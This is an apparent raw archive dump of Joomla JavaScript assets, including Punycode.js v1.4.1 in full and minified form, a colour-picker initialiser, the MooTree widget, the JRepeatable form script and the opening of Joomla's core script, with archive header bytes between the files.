	/** Highest positive signed 32-bit float value */
	maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1

	/** Bootstring parameters */
	base = 36,
	tMin = 1,
	tMax = 26,
	skew = 38,
	damp = 700,
	initialBias = 72,
	initialN = 128, // 0x80
	delimiter = '-', // '\x2D'

	/** Regular expressions */
	regexPunycode = /^xn--/,
	regexNonASCII = /[^\x20-\x7E]/, // unprintable ASCII chars + non-ASCII chars
	regexSeparators = /[\x2E\u3002\uFF0E\uFF61]/g, // RFC 3490 separators

	/** Error messages */
	errors = {
		'overflow': 'Overflow: input needs wider integers to process',
		'not-basic': 'Illegal input >= 0x80 (not a basic code point)',
		'invalid-input': 'Invalid input'
	},

	/** Convenience shortcuts */
	baseMinusTMin = base - tMin,
	floor = Math.floor,
	stringFromCharCode = String.fromCharCode,

	/** Temporary variable */
	key;

	/*--------------------------------------------------------------------------*/

	/**
	 * A generic error utility function.
	 * @private
	 * @param {String} type The error type.
	 * @returns {Error} Throws a `RangeError` with the applicable error message.
	 */
	function error(type) {
		throw new RangeError(errors[type]);
	}

	/**
	 * A generic `Array#map` utility function.
	 * @private
	 * @param {Array} array The array to iterate over.
	 * @param {Function} callback The function that gets called for every array
	 * item.
	 * @returns {Array} A new array of values returned by the callback function.
	 */
	function map(array, fn) {
		var length = array.length;
		var result = [];
		while (length--) {
			result[length] = fn(array[length]);
		}
		return result;
	}

	/**
	 * A simple `Array#map`-like wrapper to work with domain name strings or email
	 * addresses.
	 * @private
	 * @param {String} domain The domain name or email address.
	 * @param {Function} callback The function that gets called for every
	 * character.
	 * @returns {Array} A new string of characters returned by the callback
	 * function.
	 */
	function mapDomain(string, fn) {
		var parts = string.split('@');
		var result = '';
		if (parts.length > 1) {
			// In email addresses, only the domain name should be punycoded. Leave
			// the local part (i.e. everything up to `@`) intact.
			result = parts[0] + '@';
			string = parts[1];
		}
		// Avoid `split(regex)` for IE8 compatibility. See #17.
		string = string.replace(regexSeparators, '\x2E');
		var labels = string.split('.');
		var encoded = map(labels, fn).join('.');
		return result + encoded;
	}

	/**
	 * Creates an array containing the numeric code points of each Unicode
	 * character in the string. While JavaScript uses UCS-2 internally,
	 * this function will convert a pair of surrogate halves (each of which
	 * UCS-2 exposes as separate characters) into a single code point,
	 * matching UTF-16.
	 * @see `punycode.ucs2.encode`
	 * @see <https://mathiasbynens.be/notes/javascript-encoding>
	 * @memberOf punycode.ucs2
	 * @name decode
	 * @param {String} string The Unicode input string (UCS-2).
	 * @returns {Array} The new array of code points.
	 */
	function ucs2decode(string) {
		var output = [],
		    counter = 0,
		    length = string.length,
		    value,
		    extra;
		while (counter < length) {
			value = string.charCodeAt(counter++);
			if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
				// high surrogate, and there is a next character
				extra = string.charCodeAt(counter++);
				if ((extra & 0xFC00) == 0xDC00) { // low surrogate
					output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
				} else {
					// unmatched surrogate; only append this code unit, in case the next
					// code unit is the high surrogate of a surrogate pair
					output.push(value);
					counter--;
				}
			} else {
				output.push(value);
			}
		}
		return output;
	}

	/**
	 * Creates a string based on an array of numeric code points.
	 * @see `punycode.ucs2.decode`
	 * @memberOf punycode.ucs2
	 * @name encode
	 * @param {Array} codePoints The array of numeric code points.
	 * @returns {String} The new Unicode string (UCS-2).
	 */
	function ucs2encode(array) {
		return map(array, function(value) {
			var output = '';
			if (value > 0xFFFF) {
				value -= 0x10000;
				output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);
				value = 0xDC00 | value & 0x3FF;
			}
			output += stringFromCharCode(value);
			return output;
		}).join('');
	}

	/**
	 * Converts a basic code point into a digit/integer.
	 * @see `digitToBasic()`
	 * @private
	 * @param {Number} codePoint The basic numeric code point value.
	 * @returns {Number} The numeric value of a basic code point (for use in
	 * representing integers) in the range `0` to `base - 1`, or `base` if
	 * the code point does not represent a value.
	 */
	function basicToDigit(codePoint) {
		if (codePoint - 48 < 10) {
			return codePoint - 22;
		}
		if (codePoint - 65 < 26) {
			return codePoint - 65;
		}
		if (codePoint - 97 < 26) {
			return codePoint - 97;
		}
		return base;
	}

	/**
	 * Converts a digit/integer into a basic code point.
	 * @see `basicToDigit()`
	 * @private
	 * @param {Number} digit The numeric value of a basic code point.
	 * @returns {Number} The basic code point whose value (when used for
	 * representing integers) is `digit`, which needs to be in the range
	 * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
	 * used; else, the lowercase form is used. The behavior is undefined
	 * if `flag` is non-zero and `digit` has no uppercase form.
	 */
	function digitToBasic(digit, flag) {
		//  0..25 map to ASCII a..z or A..Z
		// 26..35 map to ASCII 0..9
		return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);
	}

	/**
	 * Bias adaptation function as per section 3.4 of RFC 3492.
	 * https://tools.ietf.org/html/rfc3492#section-3.4
	 * @private
	 */
	function adapt(delta, numPoints, firstTime) {
		var k = 0;
		delta = firstTime ? floor(delta / damp) : delta >> 1;
		delta += floor(delta / numPoints);
		for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {
			delta = floor(delta / baseMinusTMin);
		}
		return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
	}

	/**
	 * Converts a Punycode string of ASCII-only symbols to a string of Unicode
	 * symbols.
	 * @memberOf punycode
	 * @param {String} input The Punycode string of ASCII-only symbols.
	 * @returns {String} The resulting string of Unicode symbols.
	 */
	function decode(input) {
		// Don't use UCS-2
		var output = [],
		    inputLength = input.length,
		    out,
		    i = 0,
		    n = initialN,
		    bias = initialBias,
		    basic,
		    j,
		    index,
		    oldi,
		    w,
		    k,
		    digit,
		    t,
		    /** Cached calculation results */
		    baseMinusT;

		// Handle the basic code points: let `basic` be the number of input code
		// points before the last delimiter, or `0` if there is none, then copy
		// the first basic code points to the output.

		basic = input.lastIndexOf(delimiter);
		if (basic < 0) {
			basic = 0;
		}

		for (j = 0; j < basic; ++j) {
			// if it's not a basic code point
			if (input.charCodeAt(j) >= 0x80) {
				error('not-basic');
			}
			output.push(input.charCodeAt(j));
		}

		// Main decoding loop: start just after the last delimiter if any basic code
		// points were copied; start at the beginning otherwise.

		for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {

			// `index` is the index of the next character to be consumed.
			// Decode a generalized variable-length integer into `delta`,
			// which gets added to `i`. The overflow checking is easier
			// if we increase `i` as we go, then subtract off its starting
			// value at the end to obtain `delta`.
			for (oldi = i, w = 1, k = base; /* no condition */; k += base) {

				if (index >= inputLength) {
					error('invalid-input');
				}

				digit = basicToDigit(input.charCodeAt(index++));

				if (digit >= base || digit > floor((maxInt - i) / w)) {
					error('overflow');
				}

				i += digit * w;
				t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);

				if (digit < t) {
					break;
				}

				baseMinusT = base - t;
				if (w > floor(maxInt / baseMinusT)) {
					error('overflow');
				}

				w *= baseMinusT;

			}

			out = output.length + 1;
			bias = adapt(i - oldi, out, oldi == 0);

			// `i` was supposed to wrap around from `out` to `0`,
			// incrementing `n` each time, so we'll fix that now:
			if (floor(i / out) > maxInt - n) {
				error('overflow');
			}

			n += floor(i / out);
			i %= out;

			// Insert `n` at position `i` of the output
			output.splice(i++, 0, n);

		}

		return ucs2encode(output);
	}

	/**
	 * Converts a string of Unicode symbols (e.g. a domain name label) to a
	 * Punycode string of ASCII-only symbols.
	 * @memberOf punycode
	 * @param {String} input The string of Unicode symbols.
	 * @returns {String} The resulting Punycode string of ASCII-only symbols.
	 */
	function encode(input) {
		var n,
		    delta,
		    handledCPCount,
		    basicLength,
		    bias,
		    j,
		    m,
		    q,
		    k,
		    t,
		    currentValue,
		    output = [],
		    /** `inputLength` will hold the number of code points in `input`. */
		    inputLength,
		    /** Cached calculation results */
		    handledCPCountPlusOne,
		    baseMinusT,
		    qMinusT;

		// Convert the input in UCS-2 to Unicode
		input = ucs2decode(input);

		// Cache the length
		inputLength = input.length;

		// Initialize the state
		n = initialN;
		delta = 0;
		bias = initialBias;

		// Handle the basic code points
		for (j = 0; j < inputLength; ++j) {
			currentValue = input[j];
			if (currentValue < 0x80) {
				output.push(stringFromCharCode(currentValue));
			}
		}

		handledCPCount = basicLength = output.length;

		// `handledCPCount` is the number of code points that have been handled;
		// `basicLength` is the number of basic code points.

		// Finish the basic string - if it is not empty - with a delimiter
		if (basicLength) {
			output.push(delimiter);
		}

		// Main encoding loop:
		while (handledCPCount < inputLength) {

			// All non-basic code points < n have been handled already. Find the next
			// larger one:
			for (m = maxInt, j = 0; j < inputLength; ++j) {
				currentValue = input[j];
				if (currentValue >= n && currentValue < m) {
					m = currentValue;
				}
			}

			// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,
			// but guard against overflow
			handledCPCountPlusOne = handledCPCount + 1;
			if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
				error('overflow');
			}

			delta += (m - n) * handledCPCountPlusOne;
			n = m;

			for (j = 0; j < inputLength; ++j) {
				currentValue = input[j];

				if (currentValue < n && ++delta > maxInt) {
					error('overflow');
				}

				if (currentValue == n) {
					// Represent delta as a generalized variable-length integer
					for (q = delta, k = base; /* no condition */; k += base) {
						t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
						if (q < t) {
							break;
						}
						qMinusT = q - t;
						baseMinusT = base - t;
						output.push(
							stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))
						);
						q = floor(qMinusT / baseMinusT);
					}

					output.push(stringFromCharCode(digitToBasic(q, 0)));
					bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
					delta = 0;
					++handledCPCount;
				}
			}

			++delta;
			++n;

		}
		return output.join('');
	}

	/**
	 * Converts a Punycode string representing a domain name or an email address
	 * to Unicode. Only the Punycoded parts of the input will be converted, i.e.
	 * it doesn't matter if you call it on a string that has already been
	 * converted to Unicode.
	 * @memberOf punycode
	 * @param {String} input The Punycoded domain name or email address to
	 * convert to Unicode.
	 * @returns {String} The Unicode representation of the given Punycode
	 * string.
	 */
	function toUnicode(input) {
		return mapDomain(input, function(string) {
			return regexPunycode.test(string)
				? decode(string.slice(4).toLowerCase())
				: string;
		});
	}

	/**
	 * Converts a Unicode string representing a domain name or an email address to
	 * Punycode. Only the non-ASCII parts of the domain name will be converted,
	 * i.e. it doesn't matter if you call it with a domain that's already in
	 * ASCII.
	 * @memberOf punycode
	 * @param {String} input The domain name or email address to convert, as a
	 * Unicode string.
	 * @returns {String} The Punycode representation of the given domain name or
	 * email address.
	 */
	function toASCII(input) {
		return mapDomain(input, function(string) {
			return regexNonASCII.test(string)
				? 'xn--' + encode(string)
				: string;
		});
	}

	/*--------------------------------------------------------------------------*/

	/** Define the public API */
	punycode = {
		/**
		 * A string representing the current Punycode.js version number.
		 * @memberOf punycode
		 * @type String
		 */
		'version': '1.4.1',
		/**
		 * An object of methods to convert from JavaScript's internal character
		 * representation (UCS-2) to Unicode code points, and back.
		 * @see <https://mathiasbynens.be/notes/javascript-encoding>
		 * @memberOf punycode
		 * @type Object
		 */
		'ucs2': {
			'decode': ucs2decode,
			'encode': ucs2encode
		},
		'decode': decode,
		'encode': encode,
		'toASCII': toASCII,
		'toUnicode': toUnicode
	};

	/** Expose `punycode` */
	// Some AMD build optimizers, like r.js, check for specific condition patterns
	// like the following:
	if (
		typeof define == 'function' &&
		typeof define.amd == 'object' &&
		define.amd
	) {
		define('punycode', function() {
			return punycode;
		});
	} else if (freeExports && freeModule) {
		if (module.exports == freeExports) {
			// in Node.js, io.js, or RingoJS v0.8.0+
			freeModule.exports = punycode;
		} else {
			// in Narwhal or RingoJS v0.7.0-
			for (key in punycode) {
				punycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]);
			}
		}
	} else {
		// in Rhino or a web browser
		root.punycode = punycode;
	}

}(this));
PK!��3�js/punycode.jsnu�[���/*! https://mths.be/punycode v1.4.1 by @mathias - do not update to v2 */
!function(a){function b(a){throw new RangeError(E[a])}function c(a,b){for(var c=a.length,d=[];c--;)d[c]=b(a[c]);return d}function d(a,b){var d=a.split("@"),e="";d.length>1&&(e=d[0]+"@",a=d[1]),a=a.replace(D,".");var f=a.split("."),g=c(f,b).join(".");return e+g}function e(a){for(var b,c,d=[],e=0,f=a.length;f>e;)b=a.charCodeAt(e++),b>=55296&&56319>=b&&f>e?(c=a.charCodeAt(e++),56320==(64512&c)?d.push(((1023&b)<<10)+(1023&c)+65536):(d.push(b),e--)):d.push(b);return d}function f(a){return c(a,function(a){var b="";return a>65535&&(a-=65536,b+=H(a>>>10&1023|55296),a=56320|1023&a),b+=H(a)}).join("")}function g(a){return 10>a-48?a-22:26>a-65?a-65:26>a-97?a-97:t}function h(a,b){return a+22+75*(26>a)-((0!=b)<<5)}function i(a,b,c){var d=0;for(a=c?G(a/x):a>>1,a+=G(a/b);a>F*v>>1;d+=t)a=G(a/F);return G(d+(F+1)*a/(a+w))}function j(a){var c,d,e,h,j,k,l,m,n,o,p=[],q=a.length,r=0,w=z,x=y;for(d=a.lastIndexOf(A),0>d&&(d=0),e=0;d>e;++e)a.charCodeAt(e)>=128&&b("not-basic"),p.push(a.charCodeAt(e));for(h=d>0?d+1:0;q>h;){for(j=r,k=1,l=t;h>=q&&b("invalid-input"),m=g(a.charCodeAt(h++)),(m>=t||m>G((s-r)/k))&&b("overflow"),r+=m*k,n=x>=l?u:l>=x+v?v:l-x,!(n>m);l+=t)o=t-n,k>G(s/o)&&b("overflow"),k*=o;c=p.length+1,x=i(r-j,c,0==j),G(r/c)>s-w&&b("overflow"),w+=G(r/c),r%=c,p.splice(r++,0,w)}return f(p)}function k(a){var c,d,f,g,j,k,l,m,n,o,p,q,r,w,x,B=[];for(a=e(a),q=a.length,c=z,d=0,j=y,k=0;q>k;++k)p=a[k],128>p&&B.push(H(p));for(f=g=B.length,g&&B.push(A);q>f;){for(l=s,k=0;q>k;++k)p=a[k],p>=c&&l>p&&(l=p);for(r=f+1,l-c>G((s-d)/r)&&b("overflow"),d+=(l-c)*r,c=l,k=0;q>k;++k)if(p=a[k],c>p&&++d>s&&b("overflow"),p==c){for(m=d,n=t;o=j>=n?u:n>=j+v?v:n-j,!(o>m);n+=t)x=m-o,w=t-o,B.push(H(h(o+x%w,0))),m=G(x/w);B.push(H(h(m,0))),j=i(d,r,f==g),d=0,++f}++d,++c}return B.join("")}function l(a){return d(a,function(a){return B.test(a)?j(a.slice(4).toLowerCase()):a})}function m(a){return d(a,function(a){return C.test(a)?"xn--"+k(a):a})}var n="object"==typeof exports&&exports&&!exports.nodeType&&exports,o="object"==typeof module&&module&&!module.nodeType&&module,p="object"==typeof global&&global;(p.global===p||p.window===p||p.self===p)&&(a=p);var q,r,s=2147483647,t=36,u=1,v=26,w=38,x=700,y=72,z=128,A="-",B=/^xn--/,C=/[^\x20-\x7E]/,D=/[\x2E\u3002\uFF0E\uFF61]/g,E={overflow:"Overflow: input needs wider integers to process","not-basic":"Illegal input >= 0x80 (not a basic code point)","invalid-input":"Invalid input"},F=t-u,G=Math.floor,H=String.fromCharCode;if(q={version:"1.4.1",ucs2:{decode:e,encode:f},decode:j,encode:k,toASCII:m,toUnicode:l},"function"==typeof define&&"object"==typeof define.amd&&define.amd)define("punycode",function(){return q});else if(n&&o)if(module.exports==n)o.exports=q;else for(r in q)q.hasOwnProperty(r)&&(n[r]=q[r]);else a.punycode=q}(this);PK!u����js/color-field-adv-init.min.jsnu�[���jQuery((function(o){function a(a,t){t=t||document,o(t).find(".minicolors").each((function(){var a=o(this),t="color"===a.data("validate")?"hex":a.data("format")||"hex";a.minicolors({control:a.data("control")||"hue",format:"rgba"===t?"rgb":t,keywords:a.data("keywords")||"",opacity:"rgba"===t,position:a.data("position")||"default",theme:a.data("theme")||"bootstrap"})}))}a(),o("body").on("subform-row-add",a)}));

PK!q4x��
js/mootree.jsnu�[���var MooTreeIcon="I,L,Lminus,Lplus,Rminus,Rplus,T,Tminus,Tplus,_closed,_doc,_open,minus,plus".split(","),MooTreeControl=new Class({initialize:function(a,b){b.control=this;b.div=a.div;this.root=new MooTreeNode(b);this.index={};this.enabled=!0;this.theme=a.theme||"mootree.gif";this.loader=a.loader||{icon:"mootree_loader.gif",text:"Loading...",color:"#a0a0a0"};this.selected=null;this.mode=a.mode;this.grid=a.grid;this.onExpand=a.onExpand||new Function;this.onSelect=a.onSelect||new Function;this.onClick=
a.onClick||new Function;this.root.update(!0)},insert:function(a){a.control=this;return this.root.insert(a)},select:function(a){this.onClick(a);a.onClick();this.selected!==a&&(this.selected&&(this.selected.select(!1),this.onSelect(this.selected,!1)),this.selected=a,a.select(!0),this.onSelect(a,!0))},expand:function(){this.root.toggle(!0,!0)},collapse:function(){this.root.toggle(!0,!1)},get:function(a){return this.index[a]||null},adopt:function(a,b){void 0===b&&(b=this.root);this.disable();this._adopt(a,
b);b.update(!0);document.id(a).destroy();this.enable()},_adopt:function(a,b){e=document.id(a);for(var c=0,d=e.getChildren(),c=0;c<d.length;c++)if("LI"==d[c].nodeName){for(var f={text:""},i="",h=null,l=null,g=0,h=0,k=null,j=d[c].getChildren(),g=0;g<j.length;g++)switch(j[g].nodeName){case "A":for(h=0;h<j[g].childNodes.length;h++)switch(k=j[g].childNodes[h],k.nodeName){case "#text":f.text+=k.nodeValue;break;case "#comment":i+=k.nodeValue}f.data=j[g].getProperties("href","target","title","name");break;
case "UL":l=j[g]}if(""!=f.label){f.data.url=f.data.href;if(""!=i){i=i.split(";");for(h=0;h<i.length;h++)g=i[h].trim().split(":"),2==g.length&&(f[g[0].trim()]=g[1].trim())}null!=d[c].id&&(f.id="node_"+d[c].id);h=b.insert(f);l&&this._adopt(l,h)}}},disable:function(){this.enabled=!1},enable:function(){this.enabled=!0;this.root.update(!0,!0)}}),MooTreeNode=new Class({initialize:function(a){this.text=a.text;this.id=a.id||null;this.nodes=[];this.parent=null;this.last=!0;this.control=a.control;this.selected=
!1;this.color=a.color||null;this.data=a.data||{};this.onExpand=a.onExpand||new Function;this.onSelect=a.onSelect||new Function;this.onClick=a.onClick||new Function;this.open=a.open?!0:!1;this.icon=a.icon;this.openicon=a.openicon||this.icon;this.id&&(this.control.index[this.id]=this);this.div={main:(new Element("div")).addClass("mooTree_node"),indent:new Element("div"),gadget:new Element("div"),icon:new Element("div"),text:(new Element("div")).addClass("mooTree_text"),sub:new Element("div")};this.div.main.adopt(this.div.indent);
this.div.main.adopt(this.div.gadget);this.div.main.adopt(this.div.icon);this.div.main.adopt(this.div.text);document.id(a.div).adopt(this.div.main);document.id(a.div).adopt(this.div.sub);this.div.gadget._node=this;this.div.gadget.onclick=this.div.gadget.ondblclick=function(){this._node.toggle()};this.div.icon._node=this.div.text._node=this;this.div.icon.onclick=this.div.icon.ondblclick=this.div.text.onclick=this.div.text.ondblclick=function(){this._node.control.select(this._node)}},insert:function(a){a.div=
this.div.sub;a.control=this.control;a=new MooTreeNode(a);a.parent=this;var b=this.nodes;b.length&&(b[b.length-1].last=!1);b.push(a);a.update();1==b.length&&this.update();1<b.length&&b[b.length-2].update(!0);return a},remove:function(){var a=this.parent;this._remove();a.update(!0)},_remove:function(){for(var a=this.nodes;a.length;)a[a.length-1]._remove();delete this.control.index[this.id];this.div.main.destroy();this.div.sub.destroy();this.parent&&(a=this.parent.nodes,a.erase(this),a.length&&(a[a.length-
1].last=!0))},clear:function(){for(this.control.disable();this.nodes.length;)this.nodes[this.nodes.length-1].remove();this.control.enable()},update:function(a,b){var c=!0;this.control.enabled||(this.invalidated=!0,c=!1);b&&(this.invalidated?this.invalidated=!1:c=!1);if(c){this.div.main.className="mooTree_node"+(this.selected?" mooTree_selected":"");for(var c=this,d="";c.parent;)c=c.parent,d=this.getImg(c.last||!this.control.grid?"":"I")+d;this.div.indent.innerHTML=d;c=this.div.text;c.empty();c.appendText(this.text);
this.color&&(c.style.color=this.color);this.div.icon.innerHTML=this.getImg(this.nodes.length?this.open?this.openicon||this.icon||"_open":this.icon||"_closed":this.icon||("folders"==this.control.mode?"_closed":"_doc"));this.div.gadget.innerHTML=this.getImg((this.control.grid?this.control.root==this?this.nodes.length?"R":"":this.last?"L":"T":"")+(this.nodes.length?this.open?"minus":"plus":""));this.div.sub.style.display=this.open?"block":"none"}a&&this.nodes.forEach(function(a){a.update(!0,b)})},getImg:function(a){var b=
'<div class="mooTree_img"';if(""!=a){var c=this.control.theme,d=MooTreeIcon.indexOf(a);-1==d&&(a=a.split("#"),c=a[0],d=2==a.length?parseInt(a[1])-1:0);b+=' style="background-image:url('+c+"); background-position:-"+18*d+'px 0px;"'}return b+"></div>"},toggle:function(a,b){this.open=void 0===b?!this.open:b;this.update();this.onExpand(this.open);this.control.onExpand(this,this.open);a&&this.nodes.forEach(function(a){a.toggle(!0,this.open)},this)},select:function(a){this.selected=a;this.update();this.onSelect(a)},
load:function(a,b){this.loading||(this.loading=!0,this.toggle(!1,!0),this.clear(),this.insert(this.control.loader),function(){(new Request({method:"GET",url:a,onSuccess:this._loaded.bind(this),onFailure:this._load_err.bind(this)})).send(b||"")}.bind(this).delay(20))},_loaded:function(a,b){this.control.disable();this.clear();this._import(b.documentElement);this.control.enable();this.loading=!1},_import:function(a){for(var a=a.childNodes,b=0;b<a.length;b++)if("node"==a[b].tagName){for(var c={data:{}},
d=a[b].attributes,f=0;f<d.length;f++)switch(d[f].name){case "text":case "id":case "icon":case "openicon":case "color":case "open":c[d[f].name]=d[f].value;break;default:c.data[d[f].name]=d[f].value}c=this.insert(c);c.data.load&&(c.open=!1,c.insert(this.control.loader),c.onExpand=function(){this.load(this.data.load);this.onExpand=new Function});a[b].childNodes.length&&c._import(a[b])}},_load_err:function(){window.alert("Error loading: "+this.text)}});PK!*���js/repeatable.jsnu�[���!function(e){"use strict";e.JRepeatable=function(t,n){var a=this;return a&&a!==window?(a.$input=e(t),a.$input.data("JRepeatable")?a:(a.$input.data("JRepeatable",a),a.init=function(){a.options=e.extend({},e.JRepeatable.defaults,n),a.$container=e(a.options.container),e("body").append(a.$container),a.$rowsContainer=a.$container.find(a.options.repeatableElement).parent(),a.prepareModal(),a.inputs=[],a.values={},a.prepareTemplate();var t=a.$input.val();if(t)try{a.values=JSON.parse(t)}catch(e){if(e instanceof SyntaxError)try{t=t.replace(/'/g,'"').replace(/\\"/g,"'"),a.values=JSON.parse(t)}catch(e){window.console&&console.log(e)}else window.console&&console.log(e)}a.buildRows(),e(document).on("click",a.options.btModalOpen,function(e){e.preventDefault(),a.$modalWindow.modal("show")}),a.$modalWindow.on("click",a.options.btModalClose,function(e){e.preventDefault(),a.$modalWindow.modal("hide"),a.buildRows()}),a.$modalWindow.on("click",a.options.btModalSaveData,function(e){e.preventDefault(),a.$modalWindow.modal("hide"),a.refreshValue()}),a.$container.on("click",a.options.btAdd,function(t){t.preventDefault();var n=e(this).parents(a.options.repeatableElement);n.length||(n=null),a.addRow(n)}),a.$container.on("click",a.options.btRemove,function(t){t.preventDefault();var n=e(this).parents(a.options.repeatableElement);a.removeRow(n)}),a.$input.trigger("weready")},a.prepareTemplate=function(){var t=a.$container.find(a.options.repeatableElement),n=e(t.get(0));try{a.clearScripts(n)}catch(e){window.console&&console.log(e)}for(var o=n.find("*[name]"),i=0,r=o.length;i<r;i++){var l=e(o[i]).attr("name");a.values[l]||(a.inputs.push({name:l,type:e(o[i]).attr("type")||o[i].tagName.toLowerCase()}),a.values[l]=[])}a.template=n.prop("outerHTML"),t.remove(),a.$input.trigger("prepare-template",a.template)},a.prepareModal=function(){var t=e(a.options.modalElement);t.css({position:"absolute",width:"auto","max-width":"100%"}),t.on("shown",function(){a.resizeModal()}),e(window).resize(function(){a.resizeModal()}),a.$modalWindow=t.modal({show:!1,backdrop:"static"}),a.$input.trigger("prepare-modal",a.$modalWindow)},a.resizeModal=function(){if(a.$modalWindow.is(":visible")){var t=e(document).width()/2,n=a.$modalWindow.width()/2,o=a.$rowsContainer.width()/2,i=n>=t?0:-n,r=i?"50%":0,l=e(document).scrollTop()+.2*e(window).height();a.$modalWindow.css({top:l,left:r,"margin-left":i,overflow:o>n?"auto":"visible"})}},a.buildRows=function(){var e=a.$rowsContainer.children();e.length&&a.removeRow(e);for(var t=a.values[Object.keys(a.values)[0]].length||1,n=null,o=0;o<t;o++)n=a.addRow(n,o)},a.addRow=function(t,n){var o=a.$container.find(a.options.repeatableElement).length;if(o>=a.options.maximum)return null;var i=e.parseHTML(a.template);t?e(t).after(i):a.$rowsContainer.append(i);var r=e(i);if(a.fixUniqueAttributes(r,o+1),null!==n&&void 0!==n)for(var l=0,d=a.inputs.length;l<d;l++){var s=a.inputs[l].name,c=a.inputs[l].type,p=null;if(a.values[s]&&(p=a.values[s][n]),null!==p&&void 0!==p)if("radio"===c)r.find('*[name*="'+s+'"][value="'+p+'"]').attr("checked","checked");else if("checkbox"===c)if(p.length)for(var u=0,f=p.length;u<f;u++)r.find('*[name*="'+s+'"][value="'+p[u]+'"]').attr("checked","checked");else r.find('*[name*="'+s+'"][value="'+p+'"]').attr("checked","checked");else r.find('*[name*="'+s+'"]').val(p)}try{a.fixScripts(r)}catch(e){window.console&&console.log(e)}return a.$input.trigger("row-add",r),r},a.removeRow=function(t){a.$input.trigger("row-remove",t),e(t).remove()},a.fixUniqueAttributes=function(e,t){var n=e.find("*[id]");a.increaseAttrName(n,"id",t);var o=e.find("label[for]");a.increaseAttrName(o,"for",t);var i=e.find("*[name]");a.increaseAttrName(i,"name",t)},a.increaseAttrName=function(t,n,a){for(var o=0,i=t.length;o<i;o++){var r=e(t[o]),l=r.attr(n);r.attr(n,a+"-"+l)}},a.refreshValue=function(){var t=a.$container.find(a.options.repeatableElement);a.values={};for(var n=0,o=a.inputs.length;n<o;n++){var i=a.inputs[n].name,r=a.inputs[n].type;a.values[i]=[];for(var l=0,d=t.length;l<d;l++){var s=e(t[l]),c=null;if("radio"===r)c=s.find('*[name*="'+i+'"]:checked').val();else if("checkbox"===r){var p=s.find('*[name*="'+i+'"]:checked');if(p.length>1){c=[];for(var u=0,f=p.length;u<f;u++)c.push(e(p[u]).val())}else c=p.val()}else c=s.find('*[name*="'+i+'"]').val();c=null===c?"":c,a.values[i].push(c)}}a.$input.val(JSON.stringify(a.values)),a.$input.trigger("value-update",a.values)},a.clearScripts=function(t){e.fn.chosen&&t.find("select").each(function(){e(this).data("chosen")&&e(this).chosen("destroy")}),e.fn.minicolors&&t.find(".minicolors input").each(function(){e(this).minicolors("destroy",e(this))})},a.fixScripts=function(t){t.find(".minicolors").each(function(){var t=e(this);t.minicolors({control:t.attr("data-control")||"hue",position:t.attr("data-position")||"right",theme:"bootstrap"})}),t.find('a[onclick*="jInsertFieldValue"]').each(function(){var t=e(this),n=t.siblings('input[type="text"]').attr("id"),a=t.prev(),o=a.attr("href");t.attr("onclick","jInsertFieldValue('', '"+n+"');return false;"),a.attr("href",o.replace(/&fieldid=(.+)&/,"&fieldid="+n+"&")),jMediaRefreshPreview(n)}),t.find(".field-media-wrapper").each(function(){e(this).fieldMedia()}),window.SqueezeBox&&window.SqueezeBox.assign&&SqueezeBox.assign(t.find("a.modal").get(),{parse:"rel"})},void a.init())):new e.JRepeatable(t,n)},e.JRepeatable.defaults={modalElement:"#modal-container",btModalOpen:"#open-modal",btModalClose:".close-modal",btModalSaveData:".save-modal-data",btAdd:"a.add",btRemove:"a.remove",maximum:10,repeatableElement:"table tbody tr"},e.fn.JRepeatable=function(t){return this.each(function(){var t=t||{},n=e(this).data();for(var a in n)n.hasOwnProperty(a)&&(t[a]=n[a]);new e.JRepeatable(this,t)})},e(window).on("load",function(){e("input.form-field-repeatable").JRepeatable()})}(jQuery);PK!��-A}m}mjs/core-uncompressed.jsnu�[���/**
 * @copyright  (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// Only define the Joomla namespace if not defined.
Joomla = window.Joomla || {};

// Only define editors if not defined
Joomla.editors = Joomla.editors || {};

// An object to hold each editor instance on page, only define if not defined.
Joomla.editors.instances = Joomla.editors.instances || {
	/**
	 * *****************************************************************
	 * All Editors MUST register, per instance, the following callbacks:
	 * *****************************************************************
	 *
	 * getValue         Type  Function  Should return the complete data from the editor
	 *                                  Example: function () { return this.element.value; }
	 * setValue         Type  Function  Should replace the complete data of the editor
	 *                                  Example: function (text) { return this.element.value = text; }
	 * getSelection     Type  Function  Should return the selected text from the editor
	 *                                  Example: function () { return this.selectedText; }
	 * replaceSelection Type  Function  Should replace the selected text of the editor
	 *                                  If nothing selected, will insert the data at the cursor
	 *                                  Example: function (text) { return insertAtCursor(this.element, text); }
	 *
	 * USAGE (assuming that jform_articletext is the textarea id)
	 * {
	 *   To get the current editor value:
	 *      Joomla.editors.instances['jform_articletext'].getValue();
	 *   To set the current editor value:
	 *      Joomla.editors.instances['jform_articletext'].setValue('Joomla! rocks');
	 *   To replace(selection) or insert a value at  the current editor cursor:
	 *      replaceSelection: Joomla.editors.instances['jform_articletext'].replaceSelection('Joomla! rocks')
	 * }
	 *
	 * *********************************************************
	 * ANY INTERACTION WITH THE EDITORS SHOULD USE THE ABOVE API
	 * *********************************************************
	 *
	 * jInsertEditorText() @deprecated 4.0
	 */
};

(function( Joomla, document ) {
	"use strict";

	/**
	 * Generic submit form
	 *
	 * @param  {String}  task      The given task
	 * @param  {node}    form      The form element
	 * @param  {bool}    validate  The form element
	 *
	 * @returns  {void}
	 */
	Joomla.submitform = function(task, form, validate) {

		if (!form) {
			form = document.getElementById('adminForm');
		}

		if (task) {
			form.task.value = task;
		}

		// Toggle HTML5 validation
		form.noValidate = !validate;

		if (!validate) {
			form.setAttribute('novalidate', '');
		} else if ( form.hasAttribute('novalidate') ) {
